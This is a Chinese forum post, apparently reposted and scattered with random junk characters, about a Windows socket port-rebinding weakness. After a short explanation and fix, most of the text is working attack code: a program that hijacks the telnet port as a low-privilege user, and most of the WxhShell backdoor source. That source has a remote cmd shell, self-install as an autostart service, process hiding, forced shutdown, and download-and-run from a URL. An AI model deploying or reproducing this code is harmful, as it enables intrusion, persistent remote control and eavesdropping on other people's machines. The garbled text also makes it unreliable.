-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .?C%1a&_l s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [jx0-3s:X sE(HZR1 saddr.sin_family = AF_INET; 1-SVCk
- A!W0S saddr.sin_addr.s_addr = htonl(INADDR_ANY); d?idTcgs "GT4s?6O bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @!=\R^#p {kI#A?M 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 f}%D"gz )+I.|5g 这意味着什么?意味着可以进行如下的攻击: ZBD;a;wx R_P}~l 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 iSK+GQ~ D.!~dyI.,$ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ytEC GDaN 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >/f_F6ay# PrF}a<:n: 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 D?jk$^p~m# s)A<=)w/e 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %u{W7 JD>d\z2QC 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 igf)Hb;5 Ha>*?`?yI 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 gv15t'y9 iSRpfU #include qKS;x@ #include Cz#Z <: #include T4e\0.If #include n7aU<`U DWORD WINAPI ClientThread(LPVOID lpParam); pI+!92Z int main() !X>=l { ~iBgw&Y WORD wVersionRequested; #1'\.v DWORD ret; a[bBT@f WSADATA wsaData; CLD-mx|? BOOL val; AT
Zhr.
H SOCKADDR_IN saddr; AZ |yX SOCKADDR_IN scaddr; `D7C?M#j] int err; "tit\a6\( SOCKET s; \h<BDk* SOCKET sc; 89}Y5#W int caddsize;
gE/Tj$ HANDLE mt; ',7??Q7j&v DWORD tid; 0Y=![tO8 wVersionRequested = MAKEWORD( 2, 2 ); bZ_mYyBh err = WSAStartup( wVersionRequested, &wsaData ); >M!xiQX if ( err != 0 ) { _GQz!YA printf("error!WSAStartup failed!\n"); jo+w> return -1; | aQ"3d } O^>jdl!TZ saddr.sin_family = AF_INET; _:n b&B 3CjL\pIC //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 FUK3)lT WnFG{S{s saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !33#. @[ saddr.sin_port = htons(23); gCd`pi
8 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `[#x_<\t { :m=m}3/: printf("error!socket failed!\n"); `?\tUO2_T return -1; Wm'QP4` } }H4=HDO val = TRUE; 5y2?
f //SO_REUSEADDR选项就是可以实现端口重绑定的 j Ib if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) DH DZ_t: { eg"Gjp-4= printf("error!setsockopt failed!\n"); !%<^K.wG return -1; kU5.iK' } 4Q=ftY< //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3Rg}+[b
//如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8?t"C_>*e //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /NT[ETMk+ @(``:)Z<b if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *MNHT`Y^o { a>4uiFiv ret=GetLastError(); ( fD
;g9 printf("error!bind failed!\n"); 'J*<iA*W return -1; BIaDY<j90 } h.rD}N\L listen(s,2); ~sQjl] while(1) ?zJpD8e { fqz28aHh caddsize = sizeof(scaddr); C`rLj5E% //接受连接请求 Oh.ZPG= sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *x~xWg9^ if(sc!=INVALID_SOCKET) /il@`w;G { #yseiVm; mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); OkAK if(mt==NULL) iVtl72O { 2s*#u<I printf("Thread Creat Failed!\n"); {cK^,?x break; }y%`)lz~ ; } :H6FPV78 }
+1C3`0( CloseHandle(mt); wyx(FinIH } P27%xV-n> closesocket(s); T[k4lM WSACleanup(); `"yxdlXA return 0; y #f
QPR } :_<_[Y]1 DWORD WINAPI ClientThread(LPVOID lpParam) P=N$qz$U { $FH18 SOCKET ss = (SOCKET)lpParam; MOn,Db$ SOCKET sc; -${DW^txMZ unsigned char buf[4096]; +@9gkPQQ-@ SOCKADDR_IN saddr; {P9J8@D long num; C<^YVeG DWORD val; D\~zS`} DWORD ret; }F6<w{| //如果是隐藏端口应用的话,可以在此处加一些判断 EO|:FcW //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 9Ywpej*+ saddr.sin_family = AF_INET; d|9b~_::V saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); PW(\4Q\ saddr.sin_port = htons(23); 0oA{Jix if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;?fS(Vz~ { .@)mxC:\K9 printf("error!socket failed!\n"); <mA'X V, return -1; *F^wtH` } 9L0GLmLk1u val = 100; 72W,FU~OD if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I7+9~5p { O-vGyNxP| ret = GetLastError(); sML=5=otx return -1; ,ea^,H6 } MfF~8 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #$~ba%t9% { 2N#$X'8 ret = GetLastError(); <%}QDO8\i return -1; h/eR } ~na!@<zB{ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |!|^ v { ! hd</_# printf("error!socket connect failed!\n"); <>xJn{f0c closesocket(sc); 2A`A\19t closesocket(ss); ^Jp&H\gI. return -1; ha@L94Lq } @tohNO> while(1) "|Fy+'5} { 0Q,g7K<d //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }uHrto3M //如果是嗅探内容的话,可以再此处进行内容分析和记录 iF5'ygR-Z //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 c:S] R" num = recv(ss,buf,4096,0); W+wA_s2&D if(num>0) zQ?!f#f send(sc,buf,num,0); 'mCe=Y else if(num==0) l5%G'1w#,j break; $w)~O<_U num = recv(sc,buf,4096,0); VLsxdwHgb if(num>0) C,V%B send(ss,buf,num,0); 1sE?YJP- else if(num==0) O-]mebTvw break; qs\2Z@; } !J1rRPV closesocket(ss); _cTh#t ^ closesocket(sc); 'oNO-)p\#! return 0 ; 5IOFSy` } #?MY&hdU9 JTqDr 5*PYT=p} ========================================================== Tm^89I]L y4Z&@,_{ 下边附上一个代码,,WXhSHELL $CTSnlPq *b *G2f^ ========================================================== 682Z}"I0 uY_SU-v #include "stdafx.h" m p<1yY] 84HUBud76Y #include <stdio.h> c0c|z
Ym #include <string.h> m42T9wSsx #include <windows.h> R_]{2~J+ #include <winsock2.h> iUMY!eqp #include <winsvc.h> K/m3 #include <urlmon.h> eAUcv`[#p /-zXM;h #pragma comment (lib, "Ws2_32.lib") hc
(e$## #pragma comment (lib, "urlmon.lib") nMDxH$O rWys'uc #define MAX_USER 100 // 最大客户端连接数 <9ig?{' #define BUF_SOCK 200 // sock buffer CO-_ea U( #define KEY_BUFF 255 // 输入 buffer U~{du;\ nKR{ug>I) #define REBOOT 0 // 重启 ^Jb
H? #define SHUTDOWN 1 // 关机 =/<LSeLxH ~pa!w?/bQ #define DEF_PORT 5000 // 监听端口 jA".r'D% +[\eFj|= #define REG_LEN 16 // 注册表键长度 A,i75kd #define SVC_LEN 80 // NT服务名长度 {NpM.; `&0Wv0D0 // 从dll定义API ^@P1
JNe typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jVLA CWH typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h%WE=\,Qp typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >+.
(r] typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gOgps: `[o)<<} // wxhshell配置信息 4'W '}o|{ struct WSCFG { Z,BC* int ws_port; // 监听端口 sGvIXD char ws_passstr[REG_LEN]; // 口令 mw_Ew]& int ws_autoins; // 安装标记, 1=yes 0=no *5bLe'^\|K char ws_regname[REG_LEN]; // 注册表键名 Y_`- 9'& char ws_svcname[REG_LEN]; // 服务名 <Q|d&vDVfV char ws_svcdisp[SVC_LEN]; // 服务显示名 5J8r8` t char ws_svcdesc[SVC_LEN]; // 服务描述信息 R.7 :3h char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [c_|ob] int ws_downexe; // 下载执行标记, 1=yes 0=no $/Aj1j`"9+ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 5cx#SD&5/ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'B+ ' (f Kn+S, 1r }; "CiTa>x ]weoTn: // default Wxhshell configuration :akT 'q# struct WSCFG wscfg={DEF_PORT, S"9zc
,] "xuhuanlingzhe", "#mBcQ;QLV 1, t|t#vcB "Wxhshell", kd"N29 "Wxhshell", a^ ,(v "WxhShell Service", G0E121`h "Wrsky Windows CmdShell Service", ,C3,TkA] "Please Input Your Password: ", }kg ye2[ 1, u!1{Vt87 " http://www.wrsky.com/wxhshell.exe", M$f7sx "Wxhshell.exe" RN=` -*E1 }; R^{)D3 =4d (b ; // 消息定义模块 8Sz})UZ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Spt?>sm char *msg_ws_prompt="\n\r? for help\n\r#>"; Y8flrM2CwG char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; J>d.dq>r char *msg_ws_ext="\n\rExit."; O-)-YVU char *msg_ws_end="\n\rQuit."; 8p[)MiC5W^ char *msg_ws_boot="\n\rReboot..."; Vh>Z,()>>@ char *msg_ws_poff="\n\rShutdown..."; 1CLL%\V char *msg_ws_down="\n\rSave to "; 5nbEf9& {Ay"bjZh char *msg_ws_err="\n\rErr!"; P2Vg 4 char *msg_ws_ok="\n\rOK!"; 6(PM'@i 0'nikLaKy char ExeFile[MAX_PATH]; E7-@&=]v int nUser = 0;
Ov<NsNX] HANDLE handles[MAX_USER]; OR[{PU=X int OsIsNt; &^4++ z3?o|A }/W SERVICE_STATUS serviceStatus; @k&qb!Qah SERVICE_STATUS_HANDLE hServiceStatusHandle; vq34/c^ =B.F;40 // 函数声明 j65<8svl int Install(void); }@.|?2b + int Uninstall(void); FLEo*9u>b int DownloadFile(char *sURL, SOCKET wsh); ||yzt!n int Boot(int flag); ~/j\Z void HideProc(void); 7gRgOzWfV int GetOsVer(void); `({T]@]V int Wxhshell(SOCKET wsl); LR"9D void TalkWithClient(void *cs); YuB+k^ int CmdShell(SOCKET sock); Ar~"R4! int StartFromService(void); HaIM#R32T int StartWxhshell(LPSTR lpCmdLine); L5MzLE&~ sVex
(X VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b86}% FM VOID WINAPI NTServiceHandler( DWORD fdwControl ); JU&+c6> vm>b m // 数据结构和表定义 # W"=ry3{ SERVICE_TABLE_ENTRY DispatchTable[] = ?6'rBH/w { rj!0GI {wscfg.ws_svcname, NTServiceMain}, 1'?4m0W1 {NULL, NULL} R:B^ }; _UuC,Pl3 `-LGU7~+ // 自我安装 (Cqn6dWK int Install(void) Bj7gQ%>H4 { irjP>3_e char svExeFile[MAX_PATH]; &c1A*Pl/:G HKEY key; dO%W+K strcpy(svExeFile,ExeFile); v$^Z6>vVI NO :a; // 如果是win9x系统,修改注册表设为自启动 rx}r~0i if(!OsIsNt) {
D= 7c( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >t7x>_~
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $tl\UH7%2 RegCloseKey(key); '(/7[tJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yr,=.?C- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {s;U~!3aY RegCloseKey(key); <_Q1k> return 0; d^`?ed\1 } %j7XEh<' } @V!r"Bkg. } H=
X|h) else { 5 (A5Y-B <I;2{*QI2 // 如果是NT以上系统,安装为系统服务 ZRYEqSm SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n'emNRa if (schSCManager!=0) }\C-}
Q { &\_iOw8 SC_HANDLE schService = CreateService 4!KoFoZt* ( uG<}N= schSCManager, MHa#?Q9 wscfg.ws_svcname, 3h<, wscfg.ws_svcdisp, ]kboG%Dl?9 SERVICE_ALL_ACCESS, vhhC>
7 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l}qE 46EL SERVICE_AUTO_START, A<ynIs< SERVICE_ERROR_NORMAL, H*r>Y svExeFile, rXHv`ky NULL, B/n[m@O NULL, V dn&c NULL, IH"6? 9nd NULL, Nv"EV;$ NULL .aflsUD ); yxc=Z0~1 if (schService!=0) V(E/'DR { $.bBFWk CloseServiceHandle(schService); 9H%X2#:fH CloseServiceHandle(schSCManager); h;0S%ZC strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /soKucN"h strcat(svExeFile,wscfg.ws_svcname); +$Rt+S BD if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )(@Hd RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9VbOQ {8 RegCloseKey(key); /Ju;MeE9 return 0; zL J/5& } y a_<^O
9 } nqf,4MR CloseServiceHandle(schSCManager); Ox@P6|m } 7sXxq4 } >
%KuNy{ n..g~$k return 1; e$pMsw'MJ } BX yo C$5[X7' // 自我卸载 %!1Q P[}K int Uninstall(void) QeK*j/ { `ta7Gc/:UY HKEY key; *Aa?yg:= fYW6b[lI if(!OsIsNt) { %D[0nt|X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5>TK^1
: RegDeleteValue(key,wscfg.ws_regname); l\n@cQR RegCloseKey(key); kTvd+TP4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9 '2_ RegDeleteValue(key,wscfg.ws_regname); t N2Md}@e RegCloseKey(key); !e?.6% %
return 0; R,Vd.-5M } ZGd!IghL } p*P)KP } b2FO$Os else { _H/8_[xk ?)#5X_V-q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mbueP.q[? if (schSCManager!=0) >&U,co$> { ',S'.U SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JGQj w(Xs if (schService!=0) *H|M;G { ;"m ,:5% if(DeleteService(schService)!=0) { Xp}Yw"7 CloseServiceHandle(schService); H_QsNf CloseServiceHandle(schSCManager); P$-X)c$& return 0; @n": w2^B } "T- `$'9 CloseServiceHandle(schService); X<*U.=r) } Alxx[l\<J CloseServiceHandle(schSCManager); eD#hpl } :*2ud ( } (!zy{;g| NW&b&o return 1; \(vY%DL1: } v 7x:dcV N~xLu8, // 从指定url下载文件 $81*^ int DownloadFile(char *sURL, SOCKET wsh) )d>!"JB- { PKzyV ; HRESULT hr; j+
LawW- char seps[]= "/"; J`^I./ char *token; oo.2Dn6z char *file; }O4^Cc6 char myURL[MAX_PATH]; q')R4=0
K char myFILE[MAX_PATH]; `kJ^zw+ 1N>|yQz strcpy(myURL,sURL); aUtnR<6 token=strtok(myURL,seps); uF3qD|I\ while(token!=NULL) t0T"@t#c { m
RO~aD!N file=token; qhz]Wm P token=strtok(NULL,seps); QD>"]ap,o } 4tS.G E}tqQ*u GetCurrentDirectory(MAX_PATH,myFILE); [bk?!0]aV strcat(myFILE, "\\"); 9,r rQQD_ strcat(myFILE, file); d:U9pC$ send(wsh,myFILE,strlen(myFILE),0); [`):s= FC send(wsh,"...",3,0); #gcF"L|| hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =Yt
R` if(hr==S_OK) #*(td<Cp return 0; 5EebPXBzB else $+I;oHWI return 1; ^~A>8CQOU n;T7= 1_" } UZpIcj cL <N9[?g) // 系统电源模块 5x>}O3Q_ int Boot(int flag) gE?|_x# { ?n
ZY) HANDLE hToken; d|yAs5@ TOKEN_PRIVILEGES tkp; jE/AA!DC# }-sdov<< if(OsIsNt) { +qwjbA+ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L-k@-)98 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ynhmMy% tkp.PrivilegeCount = 1; V:c;-)( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "PpN0Rr AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c. 2).Jt, if(flag==REBOOT) { &@yo;kB if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *=*AAF return 0; z21|Dhiw& } /Bm( `T else { #Q`dku%V: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >b{q. return 0; %eO0wa$a } ]3l 9:| } z=3\Ab else { t8+X%-r if(flag==REBOOT) { ]@Uq=?% if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M%kO7>h8 return 0; ~S7D>D3S } X'qU*Eo else { jmFz51 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l|k`YC x return 0; z\%Ls
} _c_[C*T] } fV'ZsJ N Gvr@|{k return 1; EpX&R,Rxk } FK5<6n,U J\M>33zu // win9x进程隐藏模块 f__cn^1 void HideProc(void) d!
LE{ { De(Hw&
IV ~,B5Hc 2 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K$E3QVa if ( hKernel != NULL ) Nqa&_5" { TmV,&['mg pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4QIX19{" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G%W8S
\ FreeLibrary(hKernel); /Y7<5!cS } PU^l. n74V|b6W return; ='Y!+ } zp%Cr.)$ TO?R({yx* // 获取操作系统版本 7OJ'){R$ int GetOsVer(void) n+A?"`6*# { &RnTzqv OSVERSIONINFO winfo; qtQ6cqLd winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u*ObwcI/Bn GetVersionEx(&winfo); u /\EtSH if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .G#8a1# return 1; +N:o-9 else zM(vr"U return 0; =aBctd:eX` } ~3WF,mW V^Q#:@0 // 客户端句柄模块 yU-e3O7L int Wxhshell(SOCKET wsl) sWc*5Rt { \Yc'~2n SOCKET wsh; "Pu!dJ5[] struct sockaddr_in client; V#S9H!hm$ DWORD myID; \(^nSy&N m;GbLncA while(nUser<MAX_USER) 8)10o,#L { rFj-kojg int nSize=sizeof(client); vPTM wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |w<H!lGe!$ if(wsh==INVALID_SOCKET) return 1; 2;DuHO1 D)m5 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nwF2aRNV if(handles[nUser]==0) 'z%o16F)L closesocket(wsh); <YhB8W9 P else 1Y7Eajt-5 nUser++; V4'YWdTi } HoRg^Ai?\ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &)AVzN+*h j)/nKh4O return 0; c*L0@Ak% } YSTv\y 6sx'S?Qa* // 关闭 socket mR?5G:W~R void CloseIt(SOCKET wsh) 9NQlI1Wz4 { 5#+^E{ closesocket(wsh); !y@NAa0 nUser--; C(#u[8 ExitThread(0); %}Ss,XJ } x:7b/j- !`,Sfqij // 客户端请求句柄 QD:{U8YbF$ void TalkWithClient(void *cs) LXC9I/j/ { y}My.c pEIRh1 SOCKET wsh=(SOCKET)cs; GS a[
oh char pwd[SVC_LEN]; )GM41t1i char cmd[KEY_BUFF]; [BqHx5Xz( char chr[1]; JNt^ (z int i,j; r0+6evU2 6/r)y+H while (nUser < MAX_USER) { +#lM ^h~x)@= if(wscfg.ws_passstr) { pgE}NlW if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v*SEb~[ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LSGBq //ZeroMemory(pwd,KEY_BUFF); B&[M7i i=0; W;'!gpa while(i<SVC_LEN) { M42Ssn) Rn9m]x // 设置超时 (`c
[#0=n fd_set FdRead; -bT)]gA2 struct timeval TimeOut; %yW3VL FD_ZERO(&FdRead); ifUGY[ L FD_SET(wsh,&FdRead); Z{ X|6. TimeOut.tv_sec=8; AGQ#$fh>7= TimeOut.tv_usec=0; %S*{9hm/ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'rO!AcdLU if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WaVtfg$! V'8s8H if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <SgM@0m pwd =chr[0]; `_` QxM if(chr[0]==0xd || chr[0]==0xa) { `.FF!P:{C* pwd=0; M^r1S break; [<g?WPCcC } u'|4?"uz i++; gv)P]{%^ } lOuHVa*} \{Z;:,S // 如果是非法用户,关闭 socket pb
~uE if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]*
F\"C@ } j.w@(<=x 5q;GIw^L send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
UEM(@zD] send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GqaDL3Niqs 7=TF.TW)
while(1) { v/68*,z[ j53*E
)d ZeroMemory(cmd,KEY_BUFF); zr+zhpp LcB]Xdsa( // 自动支持客户端 telnet标准 {mZC$U' j=0; ]b7zJUz while(j<KEY_BUFF) { 6K-_pg] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #fM#p+v cmd[j]=chr[0]; `e}bdj if(chr[0]==0xa || chr[0]==0xd) { ftvG\T f cmd[j]=0; ~sl{ |E break; =vDEfO/T } Rs-]N1V j++; 86 W9rR } F)&@P-9+ aY'C%^h] // 下载文件 ]iN'x?Fo if(strstr(cmd,"http://")) { :PIF07$xl send(wsh,msg_ws_down,strlen(msg_ws_down),0); :km61 if(DownloadFile(cmd,wsh)) trPAYa}W send(wsh,msg_ws_err,strlen(msg_ws_err),0); FbaEB RM else }=gx# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \O*-#} ~\ } TcjEcMw, else { /'].lp ~$:|VHl switch(cmd[0]) { q3.j"WaP }!"A! ~& // 帮助 P&9Gga^I case '?': { v 1z send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \K@'Z break; Cjqklb/ } yj;sSRT // 安装 kzn5M&f> case 'i': { U3T#6Rptl if(Install()) cC=[Saatsf send(wsh,msg_ws_err,strlen(msg_ws_err),0); b$ve sJ else kbTm^y" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f,V<;s break; @ezH'y-v } \m7-rV6r // 卸载 "= 6_V?&w case 'r': { -=)+dCyB^ if(Uninstall()) '(f&P=[b send(wsh,msg_ws_err,strlen(msg_ws_err),0); <3xyjX'NE else x_|UPF send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4}_j`d/8| break; uw[<5 } P3cR l'] // 显示 wxhshell 所在路径 _LMM,!f case 'p': { LR.Hh char svExeFile[MAX_PATH]; 6+.uU[x@ strcpy(svExeFile,"\n\r"); N^HUijw< strcat(svExeFile,ExeFile); 2^mJ+v< send(wsh,svExeFile,strlen(svExeFile),0); L\)ZC break; -yE/f2PgQ } QrB@cK] // 重启 KM}f:_J*lg case 'b': { qfL~Wp2E; send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bvv|;6 if(Boot(REBOOT)) C ~<'rO}| send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gb8D[1=u= else { ,4zmb`dP< closesocket(wsh); c_-drS ExitThread(0); 8TGOx%}i } DF1I[b=] break; SH_(rQby } zm]aU`j // 关机 /tP|b_7O case 'd': { BGOuDKz9C send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v1BDP<qU2 if(Boot(SHUTDOWN)) jT8#C=a7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); wF <n= else { XWA:J^ closesocket(wsh); D2](da:]8) ExitThread(0); ]Y2RqXA* } g#F?!i-[F break; 2"Ecd } @6{~05.p
// 获取shell b%<9Sn
case 's': { D B-l$rj CmdShell(wsh); lDOCmdt@N closesocket(wsh); :p]'32FA! ExitThread(0); gCioq. break; 4SlADvGl } : YXX8|> // 退出 AG!w4Ky` case 'x': { POdUV send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); } \HN&@ CloseIt(wsh); *
mOo@+89 break; eZ|%<Wpu } |$Xl/)Oq // 离开 y.WEj?EL case 'q': { nQ q=7Gu send(wsh,msg_ws_end,strlen(msg_ws_end),0); @2Z#x closesocket(wsh); i\KQ!f>A WSACleanup(); 7NDr1Z#B6V exit(1); jUSmqm' break; Y( 3Bp\6 } 99:C"`E{ } n` xR5!de } *a58ZI@ #9X70|f // 提示信息 7w'wjX- if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ep2k%?CX 1 } p 3 w } 3):A N F+iza;DP return; y^%n'h{ } ?YZ- P{rTS `Jzp Sw // shell模块句柄 ^r*r
w= int CmdShell(SOCKET sock) +)y^'Qs { { jhr< STARTUPINFO si; VY~yg* ZeroMemory(&si,sizeof(si)); k9L?+PD si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U@-^C"R si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GH+r?2< PROCESS_INFORMATION ProcessInfo; e6d<dXx char cmdline[]="cmd"; qOSM}ei>s CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QV{}K return 0; K{[%7AM } '7+4`E nq6@6GRG // 自身启动模式 QlJ)F{R8il int StartFromService(void) ~NQ72wph{ { )xbHCoU, typedef struct MrDc$p W G { AQ_|: DWORD ExitStatus; 73xAG1D$r DWORD PebBaseAddress; G*-b}f DWORD AffinityMask; T;,cN7>>O DWORD BasePriority; kdl:Wt*4o ULONG UniqueProcessId; SzjkI+-$: ULONG InheritedFromUniqueProcessId; p4'G$]# } PROCESS_BASIC_INFORMATION; %@.v2 cT kg'o&^/= PROCNTQSIP NtQueryInformationProcess; {vuZ{IJa KU8Jbl*
